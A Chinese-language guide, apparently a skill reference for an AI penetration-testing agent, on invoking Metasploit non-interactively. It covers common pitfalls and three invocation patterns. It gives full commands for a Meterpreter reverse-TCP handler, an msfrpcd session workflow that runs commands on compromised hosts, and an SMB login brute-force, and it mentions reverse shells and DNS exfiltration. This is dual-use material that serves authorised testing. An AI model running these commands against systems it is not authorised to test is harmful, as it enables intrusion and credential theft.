# Metasploit 调用陷阱与正确姿势 > 借鉴自 PentAGI 多 agent 系统在大规模自动化调用 Metasploit 时踩过的坑。 `msfconsole` 是渗透阶段最容易把整条命令链卡死的工具。下面是**全部已知陷阱 + 正确模式**,让 AI 自动化调用 MSF 时不会变成"无脑挂死的怪物"。 ## 6 大常见错误 | 错误 | 现象 | 后果 | |------|------|------| | 1. 不带 `-x` 直接跑 | `msfconsole` | 进入交互模式,永远等输入 | | 2. 命令链不带 `;exit` | `msfconsole -x "exploit"` | 永远不退出,孤儿进程 | | 3. 拆多次 console 调用 | 想用 sessions 但每次都新开 | 进程隔离,看不到上次的 session | | 4. 多余的 handler | 同时用 `exploit/multi/handler` | exploit 命令本身已经包含 handler,重复占端口 | | 5. 不查端口直接监听 | 直接 `set LPORT 4444` | 端口被占用 → bind 失败 | | 6. 孤儿进程不清理 | 多次卡死后忘了 kill | `ps aux` 一堆 ruby 进程 | ## 三种正确模式 ### 模式 A:单次独立调用(推荐 80% 场景) 把所有操作塞一个 `-x` 里,最后必带 `;exit`。 ```bash msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {callback_ip}; set LPORT {allocated_port}; exploit; sleep 20; sessions -l; exit" ``` 要点: - `-q`:quiet,少输出,省 token - `-x "..."`:直接执行,不进交互 - `; exit`:必须最后一条 - `sleep 20`:给 reverse shell 留连接时间 - `sessions -l`:列出当前 session(在同一进程里,能看到) - 调用方设 `detach=false`,`timeout=120+`,等命令真正完成 ### 模式 B:RPC daemon(复杂工作流) 需要在多次调用之间保持 session 状态时用: ```bash # Step 1: 先查端口 netstat -tulnp | grep 55553 # Step 2: 启动 RPC daemon,detach=true(让它独立活着) msfrpcd -P pass -U user -a 127.0.0.1 -p 55553 # Step 3: 客户端连接,detach=false msfconsole -q -x "connect 127.0.0.1:55553 user pass; use exploit/...; exploit; exit" # Step 4: 之后再连,能看到同一批 sessions msfconsole -q -x "connect 127.0.0.1:55553 user pass; sessions -l; sessions -i 1 -c 'whoami'; exit" ``` 要点: - 启动前**必须先查端口** - daemon 用 `detach=true`、`timeout=600+` - client 用 `detach=false`、各自有自己的合理 timeout - 任务结束记得 `pkill -f msfrpcd` ### 模式 C:一次性批量利用(无 session 需求) 只想跑个 exploit / aux 模块拿结果,不需要 meterpreter session: ```bash msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS {target_ip}; set USER_FILE /tmp/users.txt; set PASS_FILE /tmp/passes.txt; run; exit" ``` 要点: - 用 `run` 不用 `exploit`(aux 模块习惯) - 输出全在 stdout,命令结束后一次性拿到 ## detach 参数选择 PentAGI 的执行器对终端调用有 `detach` 参数: | detach | 用途 | 何时用 | |--------|------|-------| | `false` | 等命令完成,返回 stdout | 模式 A、模式 C、所有 client 调用 | | `true` | 命令在后台跑,500ms 后立即返回 | msfrpcd / nc -l / python -m http.server / tcpdump | 错用的后果: - 该 detach 的没 detach → daemon 跑到 timeout 被 kill,client 第二次连不上 - 不该 detach 的 detach 了 → 拿不到 stdout,不知道 exploit 结果 ## 实战诊断命令 执行 MSF 出现异常时,先跑这三条: ```bash # 1. 查 ruby 进程(msfconsole / msfrpcd 都是 ruby) ps aux | grep -E "msfconsole|msfrpcd|ruby" # 2. 查相关端口 netstat -tulnp | grep -E ":4444|:55553|:8080" # 3. 清理孤儿(确认要 kill 再执行) pkill -f msfconsole pkill -f msfrpcd ``` ## 在 Skills router 里如何让 AI 用上 把这套规则补到 `pentest-tools/SKILL.md` 或单独的 `pentest-tools/references/msf-protocol.md`,确保 AI 在生成 MSF 命令前先读到。 最简洁的硬规则版本(直接抄到 `RULES.md` 或 skill 的 SKILL.md): ```markdown ### MSF 调用硬规则 - 永远不要直接跑 `msfconsole`,必须用 `-x "..."` - `-x` 字符串末尾必须 `;exit` - 启动监听前必须 `netstat -tulnp | grep [PORT]` - 不需要单独 `exploit/multi/handler`,`exploit` 命令已含 handler - 多步操作合并到一个 `-x` 里,不要拆多次 console 调用 - 需要保持 session 跨调用 → 切到 msfrpcd 模式 - 失败后用 `ps aux | grep msfconsole` 查孤儿,`pkill -f msfconsole` 清理 ``` ## 输出最小化技巧 MSF 输出极冗长,直接喂给 LLM 浪费 token。优化点: - `-q`:quiet 模式(必加) - `set ConsoleLogging false` - `set LogLevel 0` - 解析 sessions 时用 `sessions -l` 而不是 `sessions -v` - exploit 完成后只看关键行:`exploit | grep -E "session|opened|fail"` ## 与 OOB 攻击的配合 涉及反弹 shell / DNS exfil / SSRF OOB 时: - LPORT 必须在用户分配的端口范围内(PentAGI 用容器 port forwarding,必须用宿主机已转发的端口) - 公网 IP 不知道时:`curl -s https://api.ipify.org` - 测试连通性:`nc -zv {callback_ip} {port}` 在外部跑,看是否能到容器 ## 反模式实例 ```bash # ❌ 直接跑 console msfconsole # ❌ 没 exit msfconsole -x "exploit" # ❌ 拆开调用 msfconsole -x "use exploit/...; set ...; run; exit" msfconsole -x "sessions -l; exit" # 看不到上一步的 session # ❌ 重复 handler msfconsole -x "use exploit/multi/handler; set ...; exploit -j; use exploit/...; exploit; exit" # ❌ 不查端口 msfconsole -x "use exploit/multi/handler; set LPORT 4444; exploit; exit" # → 如果 4444 被占,bind error,但 console 已经退了,看不到原因 ``` ## 与 field-journal 的协作 每次用 MSF 完成任务,回写时记一条: ```markdown ## MSF 调用模式 - 模式:A 单次 / B RPC / C 批量 - 端口冲突:是 / 否(如何解决) - 孤儿进程:是 / 否(清理命令) - 关键参数:LHOST / LPORT / PAYLOAD 的最终值(脱敏) ``` 这样下次同类任务能直接复用配置。